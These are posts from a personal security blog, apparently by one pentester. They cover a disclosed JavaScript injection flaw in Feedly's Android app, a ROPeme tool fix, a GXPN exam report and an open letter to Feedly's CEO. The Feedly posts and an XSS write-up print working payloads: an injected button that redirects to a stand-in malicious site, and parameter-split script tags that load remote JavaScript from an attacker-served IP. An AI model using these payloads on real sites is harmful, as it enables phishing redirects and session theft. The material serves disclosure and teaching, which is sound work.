Open letter to Edwin Khodabakchian, CEO Feedly

Dear Mr. Edwin,

I am terribly sorry that the internet news reporters decided to sensationalize this whole thing. I am a Feedly supporter myself and I truly enjoy it. And I agree too with some security professionals / researchers that Feedly did respond timely and quote Davey Winder, "ethical disclosure at its best". However, people decided to interprete my blog post their way and put Feedly in a bad light. The blog post is meant for a extremely small community and technical findings / tips / news archive, however, it was 'scraped' and re-packaged without even notifying me. For the record, I informed no one and spoke to no writers before this whole thing went down.

And on my blog, I wrote the contents as objective and technical as I could and quoted only facts, however limited they may have been. Any inaccuracies that was pointed out I did my best to correct them. As Feedly had stopped communicating with me after they fixed the problem, i had zero visibility (and I am not saying that Feedly owes me to provide any). To be fair, I did ask Feedly to advise on Feedly's steps to ethical disclosure, however, I did not receive any responses despite multiple emails. This means that I did not know that it was a backend fix until much later when I tested it myself (and still I can't be entirely sure until you helped confirmed it later) and I didn't know it was fixed before the 17th when Feedly released v19.3.0 (thus i added 'estimated').  As always, it is part of an individual duty to inform the public and as advised by recognised security body whom i shall not name, I only published this finding about a month after the fix.

Unfortunately, this post unexpectedly went kinda viralled, probably because Feedly is in the fore-front of cloud RSS service provider. Like other major players such as Facebook, Google and Microsoft, Feedly is facing her onslaught of security news. Nevertheless, I believe the reporters of the various news sites should have contacted Feedly and myself to do fact-checks before publishing the articles.  Feedly has an awesome track records in its services and security responses, and like any other giants, people will forget about this and continue to support Feedly. 

This is a war against insecurity both real and deadly vulnerabilties and also the usual crowd paranoia. And I believe that soon enough, this will blow over like any other news. Someone will find something in somewhere else and this will be quickly be forgotten.

I wish you and Feedly a continuous success. 

P.S. For what's worth, this article speaks of my thoughts: http://www.daniweb.com/web-development/javascript-dhtml-ajax/news/477537/feedly-android-javascript-zero-day-found-fixed-and-can-be-forgotten

Yours sincerely,

Jeremy S.

Feedly Android Application Zero-day Vulnerability - JavaScript Code Injection

Hey all,

(Updated on 19-Apr & 21-Apr 2014: See yellow & aqua)

Do you guys remember that I kinda "spammed" my own site with a series of blog posts filled with javascript codes? I was performing tests on the Feedly app to verify a JavaScript injection vulnerability. After a series of tests, I ascertained that the Feedly App (19.2.0 - before 17th March 2014) was vulnerable. As part of the ethical disclosure, I reported to Feedly, the Feedly folks acknowledged the vulnerability (via email) and they got it fixed on 17th March 2014. Unfortunately, I haven't got any more responses when I asked them how they would like to alert / advise their users, especially since they did not mention the vulnerability fix in their change logs on Google Playstore. Anyway, their silence resulted in me seeking alternatives without Feedly's further involvement.

tl;dr - vulnerability details and screenshots as follow:

Vulnerability Title: JavaScript Code Injection possible in Feedly Android App via RSS Feeds

Description:

A javascript code injection is possible from an RSS feed (e.g. from a blog on blogspot) into the 'Feedly' Android App. The android app does not sanitize javascript codes and interpretes them as codes. As a result, allows potential attackers to perform javascript code executions on victim's Feedly android app session via a crafted blogpost. However, the pre-requisite for such an attack to be possible is that the user must have subscribed (RSS) to the site. In other words, attacks can take place only when user browses the RSS-subscribed site's contents via the Feedly android app.

Potential Impact:

Attacker may inject malicious javascript codes via a blogpost. An example would be to create a button to redirect users to malicious sites (and the same old tricks to follow). 

*I haven't gone to the extent of performing 'remote arbitrary code injection'  as I wasn't sure if it uses webView toolkit. But if you got 19.2.0 apk and wish to try, please go nuts. And it'll be nice if you could let me know and of course, I'll reciprocate by providing shiny blue links to your page. =D

Date discovered / reported: 10th March 2014
Date fixed (estimated): Verified after 17th March 2014 (Feedly states that they got it fixed 24 hours after reporting)

Vulnerable version: < 19.3.0 (version just before 19.3.0 - did not test the older ones)

Fixed Version: Feedly Android App 19.3.0 (17th March 2014) - personally verified.
Apparently after testing on previous versions (19.2 and 19.1), I could not reproduce the same problem. I suspect the vulnerable codes are of the backend servers and not the android app itself. As such, both vulnerable version and fixed version fields are not applicable.

Proof-of-Concept

Injection payload:

</script>
<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button
<but

 Figure 0: Normal Feedly site on a Chrome Browser - As you can see, the javascript codes are displayed as text and not intepreted as executable codes

 Figure 1: Feedly App accessing the same blogpost as shown on figure 0 - As you can see, a nice button of mine was created on the Android Application

 Figure 2: Upon clicking on 'BreakToProtect's button', user will be redirected to another site. As per proof-of-concept, a fake URL link 'http://www.potentially-malicious.site/' was used instead.

Annnnddd it's fixed after 19.3.0. 

Hope this is informative for all Feedly users. Thanks to the quick responses from Feedly team, you can now get your fix at the following URL:

https://play.google.com/store/apps/details?id=com.devhd.feedly
The fix was done at the backend - users do not have to worry about using older versions of Feedly.

Later,

JS

Quick fix on ROPeme's ImportError: No module named distorm

Sup' all,

I'm currently working on my ROP skills and trying out ROPeme[1]. So what ROPeme does is that it helps exploit developers / researchers to generate ROP gadgets easily. For those who wants to find out more about ROP or return-oriented programming, try this tutorial: http://www.exploit-db.com/wp-content/themes/exploit/docs/28479.pdf  It's a step-by-step guide to perform your first ROP on Linux.

Anyway, I went to the site and git cloned the ropeme folder onto my '/opt/' directory. When I tried to run './ropshell.py', I get the following error message:

File "ropshell.py", line 24, in <module>
import gadgets
File "/opt/ropeme/ropeme/gadgets.py", line 21, in <module>
import distorm
ImportError: No module named distorm

I tried googling but it was a futile exercise. Then I did an apt-cache search distorm and found 'distorm3' in the distro. And of course, I went ahead to 'apt-get install distorm3' and found out that I actually had that in already. Drats! Now what?!

So basing on a hunch while thinking it was a long-shot, I went ahead and opened up gadgets.py and changed every occurence of 'distorm' to 'distorm3'. Unexpectedly, it worked!

Solution to make ROPeme work with distorm3 (I'm using Kali Backtrack[2])
1. Open up 'gadgets.py'
2. Do a 'replace' for every 'distorm' to 'distorm3'*
3. Save and exit
4. Issue the following command: # python ropshell.py
5. Celebrate a little and move on to actually do ROP.
*Needless to say, you'll need to have 'distorm3' installed on your linux.

Happy kittehz, happy ROPping ;)

- JS

References:
[1] ROPeme - http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[2] Kali Backtrack - http://www.kali.org/

Apologies to readers

Sup all,

If somehow you've subscribed to my RSS feed and get bombarded by several "code injection" posts, I want to sincerely apologize to you. :(

But good news, I've found and confirmed a security vulnerability that allows JavaScript execution on a Android Mobile App. I've sent an email to the developer and ethical disclosure is in progress.

To make all for all the mucks, I promise to upload some screenshots after the issue's been fixed. =D

Till then folks~

UPDATED: The vulnerability was confirmed and reported. For more details, see http://breaktoprotect.blogspot.sg/2014/04/feedly-android-application-zero-day.html

J.S.

Potential JavaScript Code Injection to App

Below are javascript code as Proof-of-code Javascript Code Injection -
1. A JavaScript button could be injected
2. The button performs location.href to target site. In this case, a fake POC site to prove that it could be used for potentially malicious phishing or extend further payload execution to malicious site.
Click the button below - it could redirect a user to a potential malicious site ;)
-BreakToProtect

</script>

<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button

<butt

XSS across multiple parameters with 32-character constraints per parameter

'Sup all,

Recently, during my job, I encountered Cross-site Scriptings (XSS) on a page with two affected parameters. So, XSS, big whoop. The catch is, you are only limited to 32-character per parameter and anything after that it is truncated. As some professionals know, clients may fight tooth and nail on the findings you report. In this case, they may argue that you can't put a malicious payload with just 64 characters, and they don't give a f* about an alert(1) printing on their page. To make matter worse, it's an internally served page - you can't serve malicious javascript over the internet. So, what to do? Drop the issue? No way ;)

Initial Test:
paramA=<script>alert(1)</script>
paramB=<script>alert(1)</script>

Resulted in a stored code displayed as part of the following HTML code:

 <script type="text/javascript" language="javascript">  
 //irrelevant chunks  
 // ..  
 // ..  
 var paramA = "<script>alert(1)</script>";  
 var paramB = "<script>alert(1)</script>";  

Length Constraint Test:
paramA=111112222233333444445555566666777778888899999
paramB=111112222233333444445555566666777778888899999

Resulted in a stored code displayed as part of the following HTML code snippet:

 var paramA = "1111122222333334444455555666667";  
 var paramB = "1111122222333334444455555666667";  

You should observe on the above snippet that any character after the 32nd will be cut off! Drats.
But not all is lost. There are a few ways you could approach this but here's what I did:
1. Use the good O' <SCRIPT src="//yoururl.com/malicious.js">
2. Use "*/" and "/*" to concatenate your payload
3. Since it's only intranet accessible, I fire up an IIS 7.5 on my test machine and serve up a javascript under the name "index.html". Yes, it works perfectly. ;) So you could do <script src="http://webserver_ip/"> and your javascript will execute nicely even if it's not saved as a '.js' extension. Nifty to know.

My solution:
paramA=</script><script%20/*
paramB="*/src="http://172.10.10.1/">

22 characters for paramA - safe!
30 characters for param B - safe!

I would use a shorter IP address (e.g. 10.0.0.2) but the 172.10.10.x is the subnet I'm attacking on. I have to stick to the /24 subnet but I did to change my javascript-serving webserver's IP from 172.10.10.100 to a single digit for the LSB octat (e.g. 172.10.10.1). Warning: Make sure you don't collide with your client's machine IP addresses.

Javascript Payload:
1. Just put your javascript code inside the 'index.html'
2. I did a simple alert("This is a javascript code execution for proof-of-concept..blah blah blah") to make my point. It could be anything from cookie stealing to BeEF's machine takeover =D
3. Save it as 'index.html'. If you're using IIS 7.5, put it in your X:\inetpub\wwwroot\ directory.

Resulting in:

 var paramA = "</SCRIPT><SCRIPT /*";  
 var paramB = ""*/src="http://172.10.10.1/">";  

And BOOM. ;)

Yea, many have done it and I've read a few posts on that. Still, it's different to personally encounter a live system which puts you in the spot to work around with the constraints. In short, I spent quite a number of hours due to my own n00bness, but managed to achieve a working XSS. Hopefully, my client is convinced to get it fixed. All in all, a simple but interesting encounter.

Laters y'all~

Regards,
JS.

Reference:
1. http://beefproject.com/‎ - The Browser Exploitation Framework Project

GXPN - getz!

After the many weeks of crazy after-office hours and weekends, I've finally went for the first attempt and passed the GIAC GXPN http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn . It's quite a challenge and probably the hardest examination I've ever took since my computer engineering degree days. For me, I attended Stephen Sim's class (SANS SEC660) and it was the best EVAR. Although things get pretty hairy after day 3, it's totally worth it. And I'm thankful for my company who sponsored the hefty amount. If you're into security, it's like attending a rock concert and get wow-ed at every juncture of the course.

If you decide, however, not to attend SANS SEC660 and do a GIAC attempt, you could do so too. Some tips on preparation can be found @ iPostive's blog: http://ipositivesecurity.blogspot.sg/2012/08/passed-giac-gxpn-exam.html

Btw, GXPN is a 3-hour open book examination and you're allowed to use the course materials. Open-book examinations are usually tougher and kinda applies in this case too. For those who have signed up or intend to attempt the GIAC GXPN in the near future, I've made an index for a quick-flip (trust me - you'll probably need it) and a "time reference" table to help keep track of time since you can only skip 5 questions. http://pastebin.com/wwPVMiqc

Some ways to use it:

1. Use word or some open source office tools to split the page to 3 columns

2. Cut and paste the contents from the pastebin.com link http://pastebin.com/wwPVMiqc

3. Shrink the margin or font to your preference to fit to the number of pages (mine is a 2-page index)

4. You could add/remove more keywords/phrases/toolnames into the index to make it better for your own use.

So what's with the page?

If it says for e.g. Tool X 4.125 - it means Book 4, page 125.

If you want to know how GIAC GXPN is like, you could also goto http://www.pwnag3.com/2012/10/gxpn-review.html to read his/her review.

So what do the candidate need to prepare:

Try this link: http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn

Some tips that helped me:

1. Do the TWO practice exams - they are a good indicator. I got 60% without any book reference. Got a 77% for 2nd practice. And final got a 78%. (Not great, but i'm thankful I've passed. I wished I studied more.)

2. You have to know your basics (nmap, cain rdp mitm, lsa, etc). They are not found in GXPN coursewares and I suspect they are from the SEC560 coursewares. Not too sure about that.

3. You have to know your stuffs really well. Reading is NOT good enough - you'll need to set up your lab environment and spend time working. There's really no shortcut to this - you can't braindump bruteforce your way through this exam.

NOW I AM A FREE BIRD =D Gonna go celebrate a little before returning to my side projects ;)

To the GXPN attempters: Good luck folks!

J.S out.